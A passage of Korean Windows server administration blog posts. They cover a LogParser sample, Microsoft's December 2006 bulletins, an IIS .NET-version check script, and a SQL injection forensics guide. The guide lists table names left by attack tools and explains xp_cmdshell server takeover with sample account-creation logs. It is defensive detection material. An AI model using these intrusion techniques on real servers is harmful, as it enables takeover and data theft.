using EventLogInputFormat = Interop.MSUtil.COMEventLogInputContextClassClass;
using LogRecordSet = Interop.MSUtil.ILogRecordset;

class LogParserSample
{
    public static void Main(string[] Args)
    {
        try
        {
            // Instantiate the LogQuery object
            LogQuery oLogQuery = new LogQuery();

            // Instantiate the Event Log Input Format object
            EventLogInputFormat oEVTInputFormat = new EventLogInputFormat();

            // Set its "direction" parameter to "BW"
            oEVTInputFormat.direction = "BW";

            // Create the query
            string query = @"SELECT TOP 50 SourceName, EventID, Message FROM System";

            // Execute the query
            LogRecordSet oRecordSet = oLogQuery.Execute(query, oEVTInputFormat);

            // Browse the recordset
            for(; !oRecordSet.atEnd(); oRecordSet.moveNext())
            {
                Console.WriteLine(oRecordSet.getRecord().toNativeString(","));
            }

            // Close the recordset
            oRecordSet.close();
        }
        catch(System.Runtime.InteropServices.COMException exc)
        {
            Console.WriteLine("Unexpected error: " + exc.Message);
        }
    }
}


위 예제는 이벤트로그를 소스 데이터로 이용하는 경우인데., 맨위 클래스 목록에 있는 모든것이 이용이 가능하다.

IIS로그라면,

COMIISW3CInputContextClassClass iis = new COMIISW3CInputContextClassClass();

LogRecordSet oRecordSet = oLogQuery.Execute(query, iis);

메일 발송을 한다면, 메일 발송 처리 클래스 위 for 루프내에 StringBuilder 나 String 변수에 값을 저장한다음 그 것을 본문내용으로 해주거나,

System.IO 를 통해서 특정 디렉토리에 파일쓰기 방법도 있을수 있고, 또다른 방법이라면, COMSQLOutputContextClass 를 이용하여 SQL 서버의 특정 DB에 넣는 방법도 있을수 있다.


20-logparser_cs.png

2006년 12월 15일 금요일

2006년 12월 마이크로소프트 보안 공지 발표

2006년 12월 13일 (수)에 발표된 마이크로소프트 보안 공지 발표 내용을 요약하여 제공합니다.

================================================
신규 보안 공지
================================================

마이크로소프트는 새로 발견된 취약점에 대하여 다음과 같이 보안 공지를 발표합니다.

- MS06-072 | 긴급 | Microsoft Windows | 원격 코드 실행
- MS06-073 | 긴급 | Visual Studio 2005 | 원격 코드 실행
- MS06-074 | 중요 | Microsoft Windows | 원격 코드 실행
- MS06-075 | 중요 | Microsoft Windows | 권한 상승
- MS06-076 | 중요 | Outlook Express | 원격 코드 실행
- MS06-077 | 중요 | Microsoft Windows | 원격 코드 실행
- MS06-078 | 긴급 | Windows Media Formats | 원격 코드 실행

위 신규 공지에 대한 요약은 아래 웹 페이지에 있습니다.
- http://go.microsoft.com/?linkid=5931538

고객께서는 공지 내용을 검토하여, 각자의 환경에 적용할 필요가 있는 업데이트이면 즉시 테스트하고 설치하실 것을 권장합니다.


================================================
재발표 공지
================================================

또한, 마이크로소프트는 다음 보안 공지를 다시 발표합니다.

- MS06-059 | 긴급 | Microsoft Excel | 원격 코드 실행

다시 발표되는 공지에 대한 내용은 다음 페이지에서 볼 수 있습니다.
- http://go.microsoft.com/?linkid=5931539


================================================
Microsoft Windows 악성 소프트웨어 제거 도구
================================================

마이크로소프트는 Microsoft Windows 악성 소프트웨어 제거 도구의 업데이트된 버전을 Windows Server Update Services (WSUS), Windows Update (WU)와 다운로드 센터에서 제공합니다. 이 도구는 Software Update Services (SUS)를 통해서는 배포되지 않음을 주의하여 주십시오. Microsoft Windows 악성 소프트웨어 제거 도구에 대한 정보는 http://go.microsoft.com/?linkid=5931540 에서 보실 수 있습니다.


================================================
보안 문제와 관계없지만 중요도가 높은 업데이트
================================================

마이크로소프트는 다음과 같이 보안 문제와 관계없지만 중요도가 높은 업데이트를 Microsoft Update (MU), Windows Update (WU), Windows Server Update Services (WSUS), Software Update Services (SUS)에서 제공합니다.

- 911897 | Update for Windows Server | MU, WU를 통해 배포
- 926251 | Update for Windows XP Media Center Edition for 2005 | WU, MU를 통해 배포
- 928388 | Update for Windows | WU, MU를 통해 배포
- 929120 | Update for Windows | WU, MU를 통해 배포
- 924886 | Update for Office 2003 | MU를 통해 배포


================================================
보안 공지 웹캐스트
================================================

마이크로소프트는 이번 공지에 대한 고객의 질문을 다루는 웹캐스트를 진행할 예정입니다. 웹캐스트에 대한 상세한 내용은 다음을 참고하십시오.
- TechNet Webcast: Information about Microsoft December 2006 Security Bulletins (영어로 진행됩니다)
- 2006년 11월 14일 (목) 오전 4시 (한국 시각)
- http://go.microsoft.com/?linkid=5931541

24시간 후에는 언제든지 녹화된 화면으로 웹캐스트를 보실 수 있습니다.
- http://go.microsoft.com/?linkid=5931542


================================================
보안 공지 세부 사항
================================================

MS06-072

제목: Internet Explorer 누적 보안 업데이트 (925454)

영향을 받는 소프트웨어:
- Microsoft Windows 2000 서비스 팩 4
- Microsoft Windows XP 서비스 팩 2
- Microsoft Windows XP Professional x64 Edition
- Microsoft Windows Server 2003 및 서비스 팩 1
- Microsoft Windows Server 2003 (Itanium 기반 시스템용) 및 서비스 팩 1
- Microsoft Windows Server 2003 x64 Edition

영향을 받지 않는 소프트웨어:
- Windows Vista

영향을 받는 구성 요소:
- Microsoft Windows 2000 서비스 팩 4에 설치된 Internet Explorer 5.01 서비스 팩 4
- Microsoft Windows 2000 서비스 팩 4에 설치된 Internet Explorer 6 서비스 팩 1
- Microsoft Windows XP 서비스 팩 2용 Internet Explorer 6
- Microsoft Windows XP Professional x64 Edition용 Internet Explorer 6
- Microsoft Windows Server 2003 및 서비스 팩 1용 Internet Explorer 6
- Microsoft Windows Server 2003 (Itanium 기반 시스템용) 및 서비스 팩 1용 Internet Explorer 6
- Microsoft Windows Server 2003 x64 Edition용 Internet Explorer 6

영향을 받지 않는 구성 요소:
- Microsoft Windows XP 서비스 팩 2용 Windows Internet Explorer 7
- Microsoft Windows XP Professional x64 Edition용 Windows Internet Explorer 7
- Microsoft Windows Server 2003 서비스 팩 1용 Windows Internet Explorer 7
- Microsoft Windows Server 2003 (Itanium 기반 시스템용) 서비스 팩 1용 Windows Internet Explorer 7
- Microsoft Windows Server 2003 x64 Edition용 Windows Internet Explorer 7
- Windows Vista의 Windows Internet Explorer 7

취약점으로 인한 영향: 원격 코드 실행

최대 심각도: 긴급

보안 업데이트 대체: 이 공지는 이전의 여러 보안 업데이트를 대체합니다. 전체 목록을 보려면 이 공지의 자주 제기되는 질문 사항(FAQ) 섹션을 참조하십시오.

주의 사항: 이 보안 업데이트를 설치할 때 고객이 겪을 수 있는 현재까지 알려진 문제점은 Microsoft 기술 자료 문서 925454에 나와 있습니다. 이 문서는 이러한 문제점에 대한 권장 해결 방법도 소개합니다. 자세한 내용은 Microsoft 기술 자료 문서 925454를 참조하십시오.

시스템 재시작: 보안 업데이트 적용 후 시스템 재시작 필요

업데이트 제거: 제어판의 프로그램 추가/제거를 통해 제거 가능

이 취약점에 대한 추가 정보: http://go.microsoft.com/?linkid=5931543

******************************************************************

MS06-073

제목: Visual Studio 2005 취약점으로 인한 원격 코드 실행 문제점 (925674)

영향을 받는 소프트웨어:
- Microsoft Visual Studio 2005
   - Visual Studio 2005 Standard Edition
   - Visual Studio 2005 Professional Edition
   - Visual Studio 2005 Team Suite
   - Visual Studio 2005 Team Edition for Developers
   - Visual Studio 2005 Team Edition for Architects
   - Visual Studio 2005 Team Edition for Testers

영향을 받지 않는 소프트웨어:
- Microsoft Visual Studio 2005
   - Visual Basic 2005 Express Edition
   - Visual C++ 2005 Express Edition
   - Visual C# Express Edition
   - Visual J# Express Edition
   - Visual Web Developer Express Edition
   - Visual Studio 2005 Tools For Office
   - Visual Studio 2005 Team Explorer
   - Visual Studio 2005 Team Foundation Dual-Server
   - Visual Studio 2005 Team Foundation Single Server
   - Visual Studio 2005 Team Foundation Proxy
   - Visual Studio 2005 Team Foundation Build
   - Visual Studio 2005 Premier Partner Edition
- Microsoft Visual Studio 6.0 Service Pack 6
- Microsoft Visual Studio .NET 2002 서비스 팩 1
- Microsoft Visual Studio .NET 2003 서비스 팩 1

참고: 영향을 받는 파일은 Visual Studio 2005 일부 버전에만 포함되어 있습니다. 시스템에 wmiscriptutils.dll 파일이 없으면 이 취약점의 영향을 받지 않습니다.

취약점으로 인한 영향: 원격 코드 실행

최대 심각도: 긴급

보안 업데이트 대체: 없음

주의 사항: 이 보안 업데이트를 설치할 때 고객이 겪을 수 있는 현재까지 알려진 문제점은 Microsoft 기술 자료 문서 925674에 나와 있습니다. 이 문서는 이러한 문제점에 대한 권장 해결 방법도 소개합니다. 자세한 내용은 Microsoft 기술 자료 문서 925674를 참조하십시오.

시스템 재시작: 일부 경우, 이 업데이트를 설치한 후 다시 시작하지 않아도 됩니다. 필요한 파일이 사용 중이면 시스템을 다시 시작해야 합니다. 이러한 경우에는 시스템을 재시작해야 한다는 메시지가 표시됩니다.

업데이트 제거: 제어판의 프로그램 추가/제거를 통해 제거 가능

이 취약점에 대한 추가 정보: http://go.microsoft.com/?linkid=5931544

******************************************************************

MS06-074

제목: SNMP의 취약점으로 인한 원격 코드 실행 문제점 (926247)

영향을 받는 소프트웨어:
- Microsoft Windows 2000 서비스 팩 4
- Microsoft Windows XP 서비스 팩 2
- Microsoft Windows XP Professional x64 Edition
- Microsoft Windows Server 2003 및 서비스 팩 1
- Microsoft Windows Server 2003 (Itanium 기반 시스템용) 및 서비스 팩 1
- Microsoft Windows Server 2003 x64 Edition

영향을 받지 않는 소프트웨어:
- Windows Vista

취약점으로 인한 영향: 원격 코드 실행

최대 심각도: 중요

보안 업데이트 대체: 없음

주의 사항: 없음

시스템 재시작: 보안 업데이트 적용 후 시스템 재시작 필요

업데이트 제거: 제어판의 프로그램 추가/제거를 통해 제거 가능

이 취약점에 대한 추가 정보: http://go.microsoft.com/?linkid=5931545

******************************************************************

MS06-075

제목: Windows의 취약점으로 인한 권한 상승 문제점 (926255)

영향을 받는 소프트웨어:
- Microsoft Windows XP 서비스 팩 2
- Microsoft Windows Server 2003
- Microsoft Windows Server 2003 (Itanium 기반 시스템용)

영향을 받지 않는 소프트웨어:
- Microsoft Windows 2000 서비스 팩 4
- Microsoft Windows XP Professional x64 Edition
- Microsoft Windows Server 2003 서비스 팩 1
- Microsoft Windows Server 2003 (Itanium 기반 시스템용) 서비스 팩 1
- Microsoft Windows Server 2003 x64 Edition
- Windows Vista

취약점으로 인한 영향: 권한 상승

최대 심각도: 중요

보안 업데이트 대체: 없음

주의 사항: 없음

시스템 재시작: 보안 업데이트 적용 후 시스템 재시작 필요

업데이트 제거: 제어판의 프로그램 추가/제거를 통해 제거 가능

이 취약점에 대한 추가 정보: http://go.microsoft.com/?linkid=5931546

******************************************************************

MS06-076

제목: Outlook Express 누적 보안 업데이트 (923694)

영향을 받는 소프트웨어:
- Microsoft Windows 2000 서비스 팩 4
- Microsoft Windows XP 서비스 팩 2
- Microsoft Windows XP Professional x64 Edition
- Microsoft Windows Server 2003 및 서비스 팩 1
- Microsoft Windows Server 2003 (Itanium 기반 시스템용) 및 서비스 팩 1
- Microsoft Windows Server 2003 x64 Edition

영향을 받지 않는 소프트웨어:
- Windows Vista

영향을 받는 구성 요소:
- Microsoft Windows 2000 서비스 팩 4에 설치된 Outlook Express 5.5 서비스 팩 2
- Microsoft Windows 2000 서비스 팩 4에 설치된 Outlook Express 6 서비스 팩 1
- Microsoft Windows XP 서비스 팩 2용 Outlook Express 6
- Microsoft Windows XP Professional x64 Edition용 Outlook Express 6
- Microsoft Windows Server 2003 및 서비스 팩 1용 Outlook Express 6
- Microsoft Windows Server 2003 (Itanium 기반 시스템용) 및 서비스 팩 1용 Outlook Express 6
- Microsoft Windows Server 2003 x64 Edition용 Outlook Express 6

취약점으로 인한 영향: 원격 코드 실행

최대 심각도: 중요

보안 업데이트 대체: 이 공지는 이전의 여러 보안 업데이트를 대체합니다. 전체 목록을 보려면 이 공지의 자주 제기되는 질문 사항(FAQ) 섹션을 참조하십시오.

주의 사항: 이 보안 업데이트를 설치할 때 고객이 겪을 수 있는 현재까지 알려진 문제점은 Microsoft 기술 자료 문서 923694에 나와 있습니다. 이 문서는 이러한 문제점에 대한 권장 해결 방법도 소개합니다. 자세한 내용은 Microsoft 기술 자료 문서 923694를 참조하십시오.

시스템 재시작: 이 업데이트를 설치한 후 다시 시작하지 않아도 됩니다. 설치 프로그램이 필요한 서비스를 중지하고 업데이트를 적용한 다음 서비스를 다시 시작합니다. 그러나 어떠한 이유로든 서비스를 중지할 수 없으면 시스템을 다시 시작해야 합니다. 이러한 경우에는 시스템을 재시작해야 한다는 메시지가 표시됩니다.

업데이트 제거: 제어판의 프로그램 추가/제거를 통해 제거 가능

이 취약점에 대한 추가 정보: http://go.microsoft.com/?linkid=5931547

******************************************************************

MS06-077

제목: 원격 설치 서비스의 취약점으로 인한 원격 코드 실행 문제점 (926121)

영향을 받는 소프트웨어:
- Microsoft Windows 2000 서비스 팩 4

영향을 받지 않는 소프트웨어:
- Microsoft Windows XP 서비스 팩 2
- Microsoft Windows XP Professional x64 Edition
- Microsoft Windows Server 2003 및 서비스 팩 1
- Microsoft Windows Server 2003 (Itanium 기반 시스템용) 및 서비스 팩 1
- Microsoft Windows Server 2003 x64 Edition
- Windows Vista

취약점으로 인한 영향: 원격 코드 실행

최대 심각도: 중요

보안 업데이트 대체: 없음

주의 사항: 고객이 이 보안 업데이트를 설치할 때 겪을 수 있는 현재까지 알려진 문제점은 Microsoft 기술 자료 문서 926121에 나와 있습니다. 이 문서는 이러한 문제점에 대한 권장 해결 방법도 소개합니다. 자세한 내용은 Microsoft 기술 자료 문서 926121을 참조하십시오.

시스템 재시작: 보안 업데이트 적용 후 시스템 재시작 필요

업데이트 제거: 제어판의 프로그램 추가/제거를 통해 제거 가능

이 취약점에 대한 추가 정보: http://go.microsoft.com/?linkid=5931548

******************************************************************

MS06-078

제목: Windows Media Format의 취약점으로 인한 원격 코드 실행 문제점 (923689)

영향을 받는 소프트웨어:
- 다음 운영 체제 버전에 설치된 Microsoft Windows Media Format 7.1 ~ 9.5 Series Runtime:
   - Microsoft Windows 2000 서비스 팩 4
   - Microsoft Windows XP 서비스 팩 2
   - Microsoft Windows XP Professional x64 Edition
   - Microsoft Windows Server 2003 및 서비스 팩 1
   - Microsoft Windows Server 2003 x64 Edition

- 다음 운영 체제 버전에 설치된 Microsoft Windows Media Format 9.5 Series Runtime x64 Edition:
   - Microsoft Windows XP Professional x64 Edition
   - Microsoft Windows Server 2003 x64 Edition

- Microsoft Windows Media Player 6.4
   - Windows 2000 Service Pack 4
   - Microsoft Windows XP 서비스 팩 2
   - Microsoft Windows XP Professional x64 Edition
   - Microsoft Windows Server 2003 및 서비스 팩 1
   - Microsoft Windows Server 2003 x64 Edition

영향을 받지 않는 소프트웨어:
- Windows Vista
- Microsoft Windows Server 2003 (Itanium 기반 시스템용) 및 서비스 팩 1
- 모든 Microsoft 운영 체제에 설치된 Windows Media Format 11 Series

취약점으로 인한 영향: 원격 코드 실행

최대 심각도: 긴급

보안 업데이트 대체: 없음

주의 사항: 없음

시스템 재시작: 이 업데이트를 설치한 후 다시 시작하지 않아도 됩니다. 설치 프로그램이 필요한 서비스를 중지하고 업데이트를 적용한 다음 서비스를 다시 시작합니다. 그러나 어떠한 이유로든 서비스를 중지할 수 없으면 시스템을 다시 시작해야 합니다. 이러한 경우에는 시스템을 재시작해야 한다는 메시지가 표시됩니다.

업데이트 제거: 제어판의 프로그램 추가/제거를 통해 제거 가능
(참고: Windows Media Format Series Runtime을 업그레이드하기 전에, 이 업데이트를 설치 제거하고 업그레이드를 완료한 다음 다시 설치하도록 권장합니다.)

이 취약점에 대한 추가 정보: http://go.microsoft.com/?linkid=5931549

******************************************************************

MS06-059 (재공지)

제목: Microsoft Excel의 취약점으로 인한 원격 코드 실행 문제점 (924164)

취약점으로 인한 영향: 원격 코드 실행

최대 심각도: 긴급

재공지 이유:
Microsoft는 Microsoft 기술 자료 문서 924164에서 확인된 Microsoft Excel 2002에 영향을 주는 문제점을 해결하기 위해 이 공지 및 관련 보안 업데이트를 업데이트했습니다.

이 재공지 취약점에 대한 추가 정보: http://go.microsoft.com/?linkid=5931550


================================================
주의 사항
================================================

위에 나열된 소프트웨어는 테스트를 거쳐 해당 버전이 영향을 받는지 확인되었습니다. 그 밖의 다른 버전은 더 이상 보안 업데이트가 지원되지 않거나 영향을 받지 않을 수 있습니다. 사용 중인 제품과 버전에 대한 지원 기간을 확인하려면 Microsoft 지원 기간 정책 웹 사이트( http://go.microsoft.com/?linkid=5931551 )를 참조하십시오.

Microsoft Windows Server 2003, Windows Server 2003 서비스 팩 1 및 Windows Server 2003 x64 Edition용 보안 업데이트는 Windows Server 2003 R2에도 적용됩니다.

본 메일과 웹 페이지를 통하여 가급적 정확한 내용을 제공하기 위하여 노력하고 있습니다. 웹에 게시된 보안 공지는 최신의 정보를 반영하기 위해 수정되는 경우가 있습니다. 이러한 이유로 본 메일의 정보와 웹 기반의 보안 공지 간에 내용이 불일치하는 일이 생긴다면, 웹에 게시된 보안 공지의 정보가 더 신뢰할 수 있는 정보입니다.
 

2006년 12월 13일 수요일

LSASRV / ID: 40968

보안 시스템에서 디코드할 수 없는 인증 요청을 수신하였습니다.
요청이 실패되었습니다.

IIS 6 의 응용프로그램 풀 .NET FrameWork 버젼 체크

IIS 6 에서는, 여러개의 응용프로그램 풀 설정을 지원한다. 말하자면 웹사이트별로 별도의 Worker Process 설정을 통해서 웹사이트별 성능 보호가 가능해 진 것이다.

그런데, Asp VB Script 에서는 하나의 asp.dll 파서를 이용하므로 상관이 없으나, ASP.NET 이 2.0 으로 버젼업이 되면서 각 버젼별로 별도의 aspnet.dll 파서를 이용하게 된다.

C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll
c:\windows\microsoft.net\framework\v2.0.50727\aspnet_isapi.dll

응용프로그램 풀에서는 aspx 확장자 처리에 대한 하나의 파서만 로드가 가능하다.


만약 1.1 버젼과 2.0 버젼의 코드로 제작된 웹사이트를 하나의 풀에서 실행을 하게되면 선점된 파서로 실행을 하게 되며, 버젼이 맞지 않는 웹사이트에서는 응용프로그램 풀 로드 오류가 발생하게 된다.


위는 ASP.NET 2.0 버젼이 먼저 호출되어 로드가 된후에, 1.1 버젼을 호출하는 경우 웹사이트 오류를 출력함과 동시에 위와 같은 오류 이벤트가 생성된다.


마찮가지로 1.1 이 먼저 로드된후, 2.0 버젼을 호출한 경우다.


위와 같은 오류상황을 미연에 방지하기 위해서는, 웹사이트를 제작하는 프로그래머가 서버관리자에게 필히 닷넷프레임워크의 버젼을 알려주어야 하며 서버 관리자는 버젼별로 응용프로그램 풀을 별로로 분리해야 한다.




웹사이트 몇개가 안되거나, 할때는 상관없는데 문제는, 웹호스팅 서버와 같은 다수의 웹사이트에 각각의 별도 제작하는 프로그래머가 존재한다면 위와 같은 상황은 발생할 가능성이 높다. 또한 수 십에서 수백개의 웹사이트를 뒤지는 일도 만만치 않는 작업일 것이다.

접속자가 많은 크리티컬한 웹사이트에서 중단이 발생하면,, 암울 할것이다. -_-;


다음 스크립트는, 응용프로그램 풀에 실행요청된 ASP.NET 의 버젼을 확인할수 있는 스크립트이다.

option explicit

dim AppsInPool, objAppPool, index, IISObj, IISPath, Version, pos
Dim Versions(), objAppPools

function FindASPXScriptMapVersion(ScriptMaps)
 Dim pos, ScriptMap

 for pos = lbound(ScriptMaps) to UBOund(ScriptMaps)
   ScriptMap = lcase(ScriptMaps(POS))
   if (left(ScriptMap, 5) = ".aspx") then
    FindASPXScriptMapVersion = mid(ScriptMap, 42)
    FindASPXScriptMapVersion = left(FindASPXScriptMapVersion, _
     instr(FindASPXScriptMapVersion, "\")-1)
    exit function
   end if
 next 
 FindASPXScriptMapVersion = ""
end function

function AddVersion(Version, Path)
 dim Found, pos

 Found = false
 for pos = lbound(Versions) to UBound(Versions)-1
  if (Versions(pos) = Version) then
   Found = true
  end if
 next

 if (Found = false) then
  redim preserve Versions(ubound(Versions)+1)
  Versions(ubound(Versions)-1)= Version
 end if
end function

Set objAppPools = GetObject("IIS://localhost/W3SVC/AppPools")
for each objAppPool in objAppPools

 Redim Versions(0)
 Set objAppPool = GetObject("IIS://localhost/W3SVC/AppPools/" & objAppPool.Name )
 WScript.echo objAppPool.Name

 AppsInPool= objAppPool.EnumAppsInPool()
 if (ubound(AppsInPool) = -1) then
  WScript.echo vbtab  & "No applications using this pool!"
 else
  for index = lbound(AppsInPool) to UBound(AppsInPool)
   IISPath = AppsInPool(index)
   IISPath = "IIS://localhost/" & mid(IISPath,5, len(IISPath)-5)
   set IISObj = GetObject(IISPath)
   Version = FindASPXScriptMapVersion(IISObj.ScriptMaps)
   call AddVersion(Version, mid(IISPath,5, len(IISPath)-5))
  next
  if (ubound(Versions)> 1) then
   WScript.Echo vbcrlf & vbtab & _
    "Warning multiple version of the .NET framework detected!" & vbcrlf
   
   for pos = lbound(Versions) to ubound(Versions)-1
    WScript.echo vbtab & "Found references to " &  Versions(pos)
   next
   WScript.echo ""
   for index = lbound(AppsInPool) to UBound(AppsInPool)
    IISPath = AppsInPool(index)
    IISPath = "IIS://localhost/" & mid(IISPath,5, len(IISPath)-5)
    set IISObj = GetObject(IISPath)
    Version = FindASPXScriptMapVersion(IISObj.ScriptMaps)
    WScript.echo vbtab & mid(IISPath,5, len(IISPath)-5) & _
     space(70 - len(IISpath)) & " - " & Version
   next
  else
   for pos = lbound(Versions) to ubound(Versions)-1
    WScript.echo vbtab & "Found references to " &  Versions(pos)
   next  
  end if
 end if
 WScript.echo ""
next

스크립트출처 : http://blog.crowe.co.nz/

원리는, 각 응용프로그램 풀 목록을 ADSI 를 통해서 확인한 다음에,

각 응용프로그램 풀에 설정된 웹사이트 목록 확인. 그런다음에 각 웹사이트의 aspx 확장자에 대한 파서의 버젼을 확인합니다.

그런후에, 하나라도 서로 다른게 있으면 중복되어 있어 웹사이트 오류가 발생할 수 있다는 것입니다.

샘플 실행 결과는 다음과 같다.

E:\>iisappcheck.vbs
Microsoft (R) Windows Script Host 버전 5.6
Copyright (C) Microsoft Corporation 1996-2001. All rights reserved.

ASP.NET V2.0
        Found references to v2.0.50727

DefaultAppPool
        Found references to v1.1.4322

MSSharePointAppPool
        Found references to v1.1.4322

ReportServer

        Warning multiple version of the .NET framework detected!

        Found references to v2.0.50727
        Found references to

        //localhost/W3SVC/1/ROOT/Report                                   - v2.0.50727
        //localhost/W3SVC/1/ROOT/ReportServe                              -

ASP.NET V1.1
        No applications using this pool!




12-net1.png
12-net2.png
12-net3.png

2006년 12월 12일 화요일

[공지] 서버주무르기[wssplex.net] 컨텐츠 저작권

안녕하세요. 운영자입니다.

본 웹사이트는 다음과 같은 운영원칙을 가지고 있습니다. 이용에 참고하시면 좋겠으며 일반적인 블로그 운영원칙 (크리에이티브 커먼즈 라이센스) 과 비슷한 수준의 정책이므로,. 특별히 묵과할수 없는 수준이 아닌 이상 허용됩니다.


컨텐츠 이용에 관한 정책


1. 서버주무르기[www.wssplex.net] 의 모든 컨텐츠는 공유를 원칙으로 하고 있습니다.
   *공유는 정보공개이지, 컨텐츠를 막 퍼(스크랩)가라는 의미가 아닙니다.

2. 컨텐츠는 전체(?) 스크랩을 허용하지 않으며, 되도록 링크 배포, 또는 인용을 이용해
   주시기 바랍니다. 스크랩이 불가피한 경우에는, 원저작자를 바로 알수 있도록 표시해야
   합니다. 
  
  <본문 전체 스크랩한 글은 검색(네이버/다음/엠파스/구글등)에 노출되지 않도록
   비공개로 하거나 검색허용 옵션을 제거 해야 합니다.>


3
. 상업적인 이용은 사전 허락없이 어떠한 경우에도 이용할 수 없습니다.
   자료를 이용한 미디어(신문/포털/잡지등) 배포의 경우 사전에 통지를 해야 합니다.

4
. 자료를 참고하여 나름대로의 2차 저작 컨텐츠를 자체 생산하는 경우가 아닌,
   아무 생각없이 퍼다 나르는 블로거 및 카페, 웹사이트에는 절대 허용하지 않습니다.


뉴스기사 등록 가능한 저작권(일부권한) 이용 확보 사항:
http://www.serverinfo.pe.kr/News.aspx?Seq=279

[운영자주. 서버주무르기에 게재된 참조 자료의 경우, 해당 컨텐츠의 저작권정책에 허용되지 않거나 정책변경에 따라서 적절치 못한 부분이 있으면 서버주무르기 운영자(kissme7@msn.com 또는 http://www.serverinfo.pe.kr/QnA/Free.aspx)에게 요청주시면 즉시 삭제 또는 요구사항대로 조치하겠습니다.]

[본 웹사이트에 등록된 컨텐츠에 대해 어떠한 책임 및 보증을 하지 않습니다. 따라서 본 웹사이트에 등록된 내용과 관계된 어떠한 사항에 대해서 책임을 요구할 수 없으며 전적으로 이용자에게 모든 책임이 있음을 명백히 밝힙니다.]





전자우편 (이메일) 추출금지


본 웹사이트에 게시된 이메일 주소가 전자우편 수집 프로그램이나 그 밖의 기술적 장치를 이용하여 무단으로 수집되는 것을 거부하며,이를 위반시 정보통신망법에 의해 형사처벌됨을 유념하시기 바랍니다. [게시일 2004년 1일 20일]
 
감사합니다.

2006년 12월 10일 일요일

LicenseService / ID: 221

IIS 5.0 제품에 대한 라이센스 사용이 구입한 서버 단위 라이센스의 최대 개수에 가까워졌습니다. 자세한 내용은 관리 도구 폴더에서 라이센스 관리자를 참조하십시오.

Sql Injection 침해 흔적을 통한 보안점검

여러 보안 기관 및 언론등에서 자주 오르내리는 해킹사건의 상당 부분이 웹사이트를 통해서 이루어지고 있다.

왜냐면, 요즘에는 거의 대부분 방화벽등의 장비등을 통해서 막아 놓기 때문에 역시 공개되어 있는 루트를 이용해야 하는데 그것이 바로 웹사이트 이기 때문이다.

예전에는 주로 서버자체 OS나 응용프로그램의 취약점을 노리고 있으나, 최근에는 웹사이트 프로그램 코드의 취약점을 이용하고 있으며, 국내 웹사이트의 상당수가 (일부 포털의 CP 사이트 포함) 노출되어 있는 형국이고,. 데이터가 탈취 당했음에도 여전히 모르고 있는체 웹사이트가 운영되고 있다.

웹사이트 해킹은, 해당 웹사이트 파괴나 데이터 위변조에서 멈추는게 아니라 곧바로 시스템까지 해킹할수 있게 된다.

요즘에 극성을 부리는 중국(일명 짱께) 에서 하루가 멀다하고 해킹시도가 이루어 지고 있고 그 대부분이 Sql Injection, FTP 스캔, RPC, SMB 등이다.

위 통계는, http://www.krcert.or.kr/index.jsp 에서 해킹 트랜드를 확인할수가 있다.

자, 그럼 그중에 가장 위험한 DB 연동 웹사이트에 의한 데이터 위변조 및 시스템해킹 인데 그들이 어떤 흔적을 남기는지 결과를 통해서 현재 운영하는 본인의 시스템을 점검해 보는것이 좋다.

(* 샘플 일부의 내용중 서버명의 경우 SERVERINFO,serverinfo.pe.kr 로 변경함)


1. 웹사이트 연동 데이터베이스 DB 의 테이블 목록 확인.

Sql Injection 을 통해서 해킹이 된 경우, 데이터 유출을 하는 경우도 일부 있으나 대부분 시스템을 조회한 테이블을 남긴다. 일부 해커의 경우는 조회후 테이블을 삭제하기도 한다.

DB의 테이블 목록을 정기적으로 점검을 해보는 것이 좋은데, 해킹된 DB의 경우 주로 다음과 같은 이름의 테이블이 생성되어 있다.

테이블 스키마나, 레코드를 보면 테이블 이름과 비슷한 내용이 들어 있는데 주로 시스템디렉토리 목록이나 웹사이트 디렉토리 목록, 레지스트리 값 조회가 대부분 이다.

D99_CMD,
D99_REG,
D99_Tmp,
DIY_TEMPCOMMAND_TABLE,
t_jiaozhu,
Siwebtmp,
NB_Commander_Tmp,
comd_list,
Reg_Arrt, 
jiaozhu,
Reg_Arrt 테이블

xiaopan 테이블
DIY_TEMPTABLE
heige
kill_kk
SC_LOG
SC_TRAN



2. xpcmdshell 을 통한 시스템 해킹


일부 몰지각한 개발자들의 경우, 웹사이트 DB 연동계정을 sa 계정이나, 시스템권한이 있는 DB 계정을 이용하는 경우가 있는데 그때는 xp_cmdshell 확장프로시져를 통해서 서버내 어떠한 작업도 가능해져 완전 장악당하는 경우가 있다.

다음은, 보안이벤트 로그 일부 이다.  sa 같은 계정으로 연동된 웹사이트가 침해되는 경우, 대부분 SQL Server는 SYSTEM 계정으로 서비스가 실행되는데 xpcmdshell 명령을 실행하게 되면 SYSTEM 권한으로 실행을 하게 된다. 

일부는, SQL 을 Administrator 같은 어드민권한이 있는 계정으로 서비스를 실행하는데 어차피 실행 계정이 서버내에서 모든 작업이 가능한 권한을 가지고 있으므로 계정을 지정한다고 해서 취약점을 피해갈수 없다. (*예)

다음과 같이 해킹용 새로운 계정을 등록하거나, 패스워드 변경 시도 및 삭제등이 가능해 진다. 아래와 같은 작업을 했다는 것은 서버내 어떠한 작업도 가능하다는 것이며 이는 완전히 장악 당했다는 증거이다.

이벤트 형식: 성공 감사
이벤트 원본: Security
이벤트 범주: 계정 관리
이벤트 ID: 624
날짜: 2005-12-15
시간: 오전 3:00:49
사용자: SERVERINFO-DB\Administrator
컴퓨터: SERVERINFO-DB
설명:
만들어진 사용자 계정:
새 계정 이름: SQLadmin
새 도메인: SERVERINFO-DB
새 계정 ID: %{S-1-5-21-1085031214-839522115-1631860264-1017}
호출자 사용자 이름: Administrator
호출자 도메인: SERVERINFO-DB
호출자 로그온 ID: (0x0,0x90F1)
권한 -

이벤트 형식: 성공 감사
이벤트 원본: Security
이벤트 범주: 계정 관리
이벤트 ID: 642
날짜: 2005-12-15
시간: 오전 3:02:58
사용자: SERVERINFO-DB\Administrator
컴퓨터: SERVERINFO-DB
설명:
변경된 사용자 계정:
계정을 사용하도록 설정했습니다.
대상 계정 이름: Guest
대상 도메인: SERVERINFO-DB
대상 계정 ID: SERVERINFO-DB\Guest
호출자 사용자 이름: Administrator
호출자 도메인: SERVERINFO-DB
호출자 로그온 ID: (0x0,0x90F1)
권한: -




3. 웹사이트를 통해서 데이터베이스 탈취 시도


다음은, DB서버에서 백업을 하여 웹사이트를 통해서 데이터를 다운로드 하는 것이다. SQL 서버에서 해당 데이터베이스의 백업을 할때 백업미디어를 다음과 같은 웹사이트 디렉토리에 파일로 저장하여 백업파일로 지정한다.

18265 :
